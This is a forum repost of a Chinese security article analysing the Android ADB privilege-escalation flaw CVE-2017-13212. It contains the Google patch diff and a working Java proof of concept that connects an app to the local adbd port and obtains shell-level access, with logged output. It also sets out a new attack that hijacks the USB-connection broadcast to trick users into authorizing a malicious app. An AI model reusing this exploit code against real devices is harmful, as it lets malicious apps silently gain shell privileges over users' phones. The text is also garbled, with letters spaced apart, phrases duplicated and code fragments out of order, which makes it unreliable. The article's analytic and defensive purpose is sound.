搜索

[12355] 2018-02-13_ADB配置提权漏洞（CVE-2017-13212）原理与利用分析

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2018-02-13_ADB配置提权漏洞（CVE-2017-13212）原理与利用分析 A D B 配 置 提 权 漏 洞 （ C V E - 2 0 1 7 - 1 3 2 1 2 ） 原 理 与 利 用 分 析 T a s f a   F r e e B u f   2 0 1 8 - 0 2 - 1 3 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： T a s f a ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 0 x 0 1   背 景 背 景 a d b 由 于 拥 有 由 于 拥 有 s h e l l 权 限 ， 因 此 仅 在 授 权 权 限 ， 因 此 仅 在 授 权 P C 端 后 才 可 使 用 端 后 才 可 使 用 s h e l l 权 限 ， 而 通 过 该 漏 洞 ， 可 以 实 现 在 移 动 端 获 取 权 限 ， 而 通 过 该 漏 洞 ， 可 以 实 现 在 移 动 端 获 取 s h e l l 权 限 ， 以 致 于 可 随 意 删 除 应 用 、 屏 幕 截 图 等 等 高 权 限 操 作 。 不 过 移 动 端 恶 意 应 用 程 序 必 须 能 够 连 接 到 权 限 ， 以 致 于 可 随 意 删 除 应 用 、 屏 幕 截 图 等 等 高 权 限 操 作 。 不 过 移 动 端 恶 意 应 用 程 序 必 须 能 够 连 接 到 a d b d 正 在 正 在 监 听 的 监 听 的 T C P 端 口 ， 这 就 需 要 应 用 程 序 在 它 的 端 口 ， 这 就 需 要 应 用 程 序 在 它 的 A n d r o i d M a i n i f e s t . x m l 中 定 义 中 定 义 I N T E R N E T 权 限 。 权 限 。 而 漏 洞 作 者 所 用 的 攻 击 方 法 是 构 造 一 个 覆 盖 窗 口 ， 劫 持 用 户 点 击 ， 也 就 是 经 典 的 h i j a c k 攻 击 。 G o o g l e 也 据 此 修 复 了 此 种 攻 击 方 式 。 但 是 ， 我 经 过 尝 试 后 发 现 ， 除 了 以 上 构 造 h i j a c k 攻 击 窗 口 外 ， 还 可 以 劫 持 U S B 广 播 ， 然 后 在 用 户 进 行 正 常 的 连 接 电 脑 操 作 时 ， 劫 持 授 权 界 面 ， 使 用 户 误 导 从 而 进 行 授 权 。 也 即 造 成 新 的 劫 持 授 权 漏 洞 方 案 。 影 响 ： 0 x 0 2   原 理 分 析 原 理 分 析 为 了 能 利 用 此 a d b 配 置 漏 洞 ， 首 先 需 要 a d b   c o n n e c t 到 a d b d 正 在 监 听 的 端 口 ， 然 后 移 动 端 会 发 起 授 权 验 证 窗 口 ， 用 户 授 权 ， 验 证 通 过 后 ， 可 使 用 a d b   s h e l l 命 令 执 行 s h e l l 权 限 操 作 。 使 用 a d b 命 令 “ a d b   t c p i p   p o r t ” 来 启 用 a d b d 以 监 听 T C P 端 口 在 启 用 了 U S B 调 试 ， 且 a d b d 正 处 于 T C P 端 口 监 听 的 情 况 下 ， 恶 意 应 用 程 序 可 以 利 用 自 带 的 a d b 二 进 制 文 件 连 接 a d b d ， 或 者 可 以 实 现 a d b   s e r v e r 协 议 与 a d b d 通 信 。 如 果 a d b   s e r v e r 尚 未 被 设 备 授 权 ， 则 会 触 发 认 证 请 求 并 提 示 用 户 验 证 并 接 受 R S A 公 钥 ( 引 用 [ 2 ] ) 。 但 此 认 证 框 可 被 覆 盖 ( G o o g l e 已 经 修 复 ) ， 具 体 可 见 参 考 文 章 。 分 析 下 d i f f ： a d b   t c p i p   5 5 5 5 d i f f   - - g i t   a / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a   b / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a i n d e x   f 5 4 4 7 a 2 . . 3 2 9 d d 9 9   1 0 0 6 4 4 - - -   a / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a + + +   b / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a @ @   - 3 1 , 8   + 3 1 , 1 2   @ @   i m p o r t   a n d r o i d . o s . S y s t e m P r o p e r t i e s ;   i m p o r t   a n d r o i d . u t i l . L o g ;   i m p o r t   a n d r o i d . v i e w . L a y o u t I n f l a t e r ; + i m p o r t   a n d r o i d . v i e w . M o t i o n E v e n t ;   i m p o r t   a n d r o i d . v i e w . V i e w ;
问 题 问 题 : 1 .   貌 似 只 是 对 伪 造 窗 口 进 行 了 防 御 ， 可 漏 洞 难 道 不 是 因 为 T C P 端 口 监 听 而 造 成 提 权 吗 ？ 2 .   那 也 就 是 用 户 授 权 后 ， 依 旧 可 以 在 移 动 端 获 取 s h e l l 权 限 ？   i m p o r t   a n d r o i d . v i e w . V i e w ; + i m p o r t   a n d r o i d . v i e w . W i n d o w ; + i m p o r t   a n d r o i d . v i e w . W i n d o w M a n a g e r ;   i m p o r t   a n d r o i d . w i d g e t . C h e c k B o x ; + i m p o r t   a n d r o i d . w i d g e t . T o a s t ;   i m p o r t   c o m . a n d r o i d . i n t e r n a l . a p p . A l e r t A c t i v i t y ;   i m p o r t   c o m . a n d r o i d . i n t e r n a l . a p p . A l e r t C o n t r o l l e r ; @ @   - 4 8 , 6   + 5 2 , 1 0   @ @           @ O v e r r i d e           p u b l i c   v o i d   o n C r e a t e ( B u n d l e   i c i c l e )   { +                 W i n d o w   w i n d o w   =   g e t W i n d o w ( ) ; +                 w i n d o w . a d d P r i v a t e F l a g s ( W i n d o w M a n a g e r . L a y o u t P a r a m s . P R I V A T E _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S ) ; +                 w i n d o w . s e t T y p e ( W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ S Y S T E M _ D I A L O G ) ; +                   s u p e r . o n C r e a t e ( i c i c l e ) ;                   i f   ( S y s t e m P r o p e r t i e s . g e t I n t ( " s e r v i c e . a d b . t c p . p o r t " ,   0 )   = =   0 )   { @ @   - 7 9 , 6   + 8 7 , 2 3   @ @                   a p . m V i e w   =   c h e c k b o x ;                   s e t u p A l e r t ( ) ; + +                 / /   a d d i n g   t o u c h   l i s t e n e r   o n   a f f i r m a t i v e   b u t t o n   -   c h e c k s   i f   w i n d o w   i s   o b s c u r e d +                 / /   i f   o b s c u r e d ,   d o   n o t   l e t   u s e r   g i v e   p e r m i s s i o n s   ( c o u l d   b e   t a p j a c k i n g   i n v o l v e d ) +                 / / 增 加 了 对 伪 造 窗 口 的 认 证 判 定 ， 防 止 用 户 被 误 导 授 权 +                 f i n a l   V i e w . O n T o u c h L i s t e n e r   f i l t e r T o u c h L i s t e n e r   =   ( V i e w   v ,   M o t i o n E v e n t   e v e n t )   - >   { +                         / /   F i l t e r   o b s c u r e d   t o u c h e s   b y   c o n s u m i n g   t h e m . +                         i f   ( ( ( e v e n t . g e t F l a g s ( )   &   M o t i o n E v e n t . F L A G _ W I N D O W _ I S _ O B S C U R E D )   ! =   0 ) +                                         | |   ( ( e v e n t . g e t F l a g s ( )   &   M o t i o n E v e n t . F L A G _ W I N D O W _ I S _ P A R T I A L L Y _ O B S C U R E D )   ! =   0 ) )   { +                                 i f   ( e v e n t . g e t A c t i o n ( )   = =   M o t i o n E v e n t . A C T I O N _ U P )   { +                                         T o a s t . m a k e T e x t ( v . g e t C o n t e x t ( ) , +                                                         R . s t r i n g . t o u c h _ f i l t e r e d _ w a r n i n g , +                                                         T o a s t . L E N G T H _ S H O R T ) . s h o w ( ) ; +                                 } +                                 r e t u r n   t r u e ; +                         } +                         r e t u r n   f a l s e ; +                 } ; +                 m A l e r t . g e t B u t t o n ( B U T T O N _ P O S I T I V E ) . s e t O n T o u c h L i s t e n e r ( f i l t e r T o u c h L i s t e n e r ) ;           }
结 论 结 论 : 确 实 可 以 在 移 动 端 获 取 到 s h e l l 权 限 思 考 思 考 那 如 果 假 设 能 监 听 用 户 是 否 连 接 U S B ， 在 用 户 进 行 正 常 的 U S B 连 接 P C 操 作 时 ， 劫 持 授 权 窗 口 , 即 弹 出 我 们 的 授 权 ， 也 可 以 造 成 用 户 误 导 授 权 。 结 论 结 论 : 确 实 可 以 构 造 接 收 广 播 ， 当 U S B 连 接 到 P C 时 ， 会 优 先 弹 出 我 们 的 授 权 窗 口 ， 从 而 误 导 用 户 获 得 授 权 攻 击 思 路 攻 击 思 路 : 静 态 注 册 监 听 U S B 连 接 状 态 的 广 播 ， 优 先 级 设 置 为 最 高 一 旦 监 听 到 连 接 ， 启 动 后 台 s e r v i c e ， 执 行 连 接 命 令 此 时 会 优 先 弹 出 我 们 的 授 权 窗 口 ， 由 于 授 权 窗 口 并 没 有 说 明 来 自 哪 里 的 弹 窗 ， 见 下 图 对 比 ， 仅 仅 是 R S A 指 纹 不 同 ， 即 使 是 技 术 人 员 ， 也 很 难 识 别 是 来 自 哪 里 的 授 权 窗 口 。 P C 端 授 权 窗 口 端 授 权 窗 口
a p k 恶 意 授 权 窗 口 恶 意 授 权 窗 口
0 x 0 3   漏 洞 利 用 漏 洞 利 用
试 验 环 境 :   A n d r o i d   4 . 4 . 4   N e x u s   5 P C 端 执 行 作 者 攻 击 思 路 验 证 P o c :   a d b   t c p i p   5 5 5 5 p r i v a t e   v o i d   e s c a l a t e P r i v i l e g e ( )   {         / *                 如 果 大 于 a n d r o i d   6 . 0                 需 要 使 用 预 编 译 的 a d b 可 执 行 二 进 制 文 件         * /                 t r y   {                         S t r i n g [ ]   c o n n e c t C m d   =   { " a d b " , " c o n n e c t " , " 1 2 7 . 0 . 0 . 1 : 5 5 5 5 " } ;                         S t r i n g [ ]   i d C m d   =   { " a d b " , " s h e l l " , " i d " } ;                         e x e c C o m m a n d ( c o n n e c t C m d ) ;                         e x e c C o m m a n d ( i d C m d ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         L o g . d ( T A G ,   " e s c a l a t e P r i v i l e g e :   "   +   e . t o S t r i n g ( )   ) ;                 }         }         p r i v a t e   v o i d   r e a d D a t a ( I n p u t S t r e a m   i n p u t S t r e a m ) {                 B u f f e r e d R e a d e r   r e a d e r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i n p u t S t r e a m ) ) ;                 S t r i n g   d a t a   ;                 w h i l e   ( t r u e )   {                         t r y   {                                 d a t a   =   r e a d e r . r e a d L i n e ( ) ;                                 i f ( d a t a   = =   n u l l )   {                                         b r e a k ;                                 }                                 L o g . d ( T A G ,   " o u t p u t :   "   +   d a t a ) ;                         }   c a t c h   ( I O E x c e p t i o n   e )   {                                 e . p r i n t S t a c k T r a c e ( ) ;                         }                 }         }         p r i v a t e   P r o c e s s   e x e c C o m m a n d ( S t r i n g [ ]   c m d s ) {                 P r o c e s s B u i l d e r   b u i l d e r   =   n e w   P r o c e s s B u i l d e r ( ) ;                 P r o c e s s   e x e c C o m m a n d P r o c e s s   =   n u l l ;                 b u i l d e r . c o m m a n d ( c m d s ) ;                 b u i l d e r . d i r e c t o r y ( t h i s . g e t F i l e s D i r ( ) ) ;                 b u i l d e r . r e d i r e c t E r r o r S t r e a m ( t r u e ) ;                 M a p < S t r i n g ,   S t r i n g >   e n v   =   b u i l d e r . e n v i r o n m e n t ( ) ;                 e n v . p u t ( " H O M E " ,   t h i s . g e t F i l e s D i r ( ) . t o S t r i n g ( ) ) ;                 e n v . p u t ( " T M P D I R " ,   t h i s . g e t F i l e s D i r ( ) . t o S t r i n g ( ) ) ;
会 弹 出 U S B 调 试 授 权 窗 口 ， g o o g l e 已 经 修 复 此 覆 盖 h i j a c k 漏 洞 。 L o g c a t 输 出 : 备 注 : 可 能 在 实 验 的 时 候 ， 会 没 有 弹 出 授 权 窗 口 ， 此 时 删 除 a p k ， 撤 销 U S B 授 权 后 ， 重 启 机 器 可 还 原 环 境 。 0 x 0 4   思 考 部 分 攻 击 思 路 思 考 部 分 攻 击 思 路 E x p A n d r o i d M a n i f e s t . x m l   增 加 U S B 广 播 : 然 后 在 接 收 广 播 后 ， 启 动 s e r v i c e , 在 o n S t a r t C o m m a n d 中 进 行 连 接 : 此 时 只 要 用 户 打 开 过 该 恶 意 应 用 ， 然 后 连 接 U S B 至 电 脑 ， 则 会 弹 出 恶 意 的 授 权 窗 口 :                 t r y   {                         e x e c C o m m a n d P r o c e s s   =   b u i l d e r . s t a r t ( ) ;                         e x e c C o m m a n d P r o c e s s . w a i t F o r ( ) ;                         r e a d D a t a ( e x e c C o m m a n d P r o c e s s . g e t I n p u t S t r e a m ( ) ) ;                 } c a t c h   ( I n t e r r u p t e d E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }                 r e t u r n   e x e c C o m m a n d P r o c e s s ;         } o u t p u t :   c o n n e c t e d   t o   1 2 7 . 0 . 0 . 1 : 5 5 5 5 o u t p u t :   u i d = 2 0 0 0 ( s h e l l )   g i d = 2 0 0 0 ( s h e l l )   g r o u p s = 1 0 0 3 ( g r a p h i c s ) , 1 0 0 4 ( i n p u t ) , 1 0 0 7 ( l o g ) , 1 0 0 9 ( m o u n t ) , 1 0 1 1 ( a d b ) , 1 0 1 5 ( s d c a r d _ r w ) , 1 0 2 8 ( s d c a r d _ r ) , 3 0 0 1 ( n e t _ b t _ a d m i n ) , 3 0 0 2 ( n e t _ b t ) , 3 0 0 3 ( i n e t ) , 3 0 0 6 ( n e t _ b w _ s t a t s )   c o n t e x t = u : r : s h e l l : s 0 < r e c e i v e r         a n d r o i d : n a m e = " . U s b B r o a d c a s t R e c e i v e r "         a n d r o i d : e n a b l e d = " t r u e "         a n d r o i d : e x p o r t e d = " t r u e " >         < i n t e n t - f i l t e r   a n d r o i d : p r i o r i t y = " 1 0 0 " >                 < a c t i o n   a n d r o i d : n a m e = " a n d r o i d . h a r d w a r e . u s b . a c t i o n . U S B _ S T A T E " / >         < / i n t e n t - f i l t e r > < / r e c e i v e r > p u b l i c   i n t   o n S t a r t C o m m a n d ( I n t e n t   i n t e n t ,   i n t   f l a g s ,   i n t   s t a r t I d )   {                 L o g . d ( T A G ,   " o n S t a r t C o m m a n d :   a d b   v u l " ) ;                 S t r i n g [ ]   c o n n e c t C m d   =   { " a d b " , " c o n n e c t " , " 1 2 7 . 0 . 0 . 1 : 5 5 5 5 " } ;                 e x e c C o m m a n d ( c o n n e c t C m d ) ;                 r e t u r n   s u p e r . o n S t a r t C o m m a n d ( i n t e n t ,   f l a g s ,   s t a r t I d ) ;         }
只 有 用 户 点 击 一 律 允 许 后 ， 再 次 连 接 u s b 才 会 弹 出 p c 端 的 授 权 ， 也 因 此 造 成 了 用 户 的 诱 导 .
0 x 0 5   防 御 与 总 结 防 御 与 总 结 防 御 防 御 在 进 行 试 验 的 时 候 ， 漏 洞 利 用 阶 段 相 对 不 稳 定 ， 有 时 候 在 连 接 的 时 候 ， 并 没 有 正 常 的 弹 窗 ， 具 体 原 因 暂 不 明 ， 后 续 有 时 间 再 研 究 。 只 要 能 正 常 弹 出 授 权 窗 口 ， 那 么 以 上 的 攻 击 思 路 也 即 生 效 。 尽 量 在 正 规 应 用 商 店 下 载 应 用 ， 不 要 授 权 来 历 不 明 的 P C ， 注 意 授 权 的 指 纹 信 息 漏 洞 由 于 需 要 用 户 授 权 ， 也 因 此 严 重 程 度 较 低 总 结 总 结 正 向 思 考 :   在 用 户 进 行 正 常 授 权 后 ， 可 获 得 s h e l l 权 限 ， 也 即 可 以 在 移 动 端 实 现 静 默 安 装 、 卸 载 等 等 功 能 。 通 过 授 权 劫 持 攻 击 ， 恶 意 应 用 可 以 在 用 户 不 知 情 的 情 况 下 获 取 高 权 限 ， 从 而 对 系 统 造 成 破 坏 。 0 x 0 6   参 考 参 考 P r i v i l e g e   E s c a l a t i o n   v i a   a d b d   M i s c o n f i g u r a t i o n 经 验 分 享   |   通 过 a d b d 配 置 漏 洞 在 安 卓 设 备 上 提 升 权 限 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： T a s f a ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理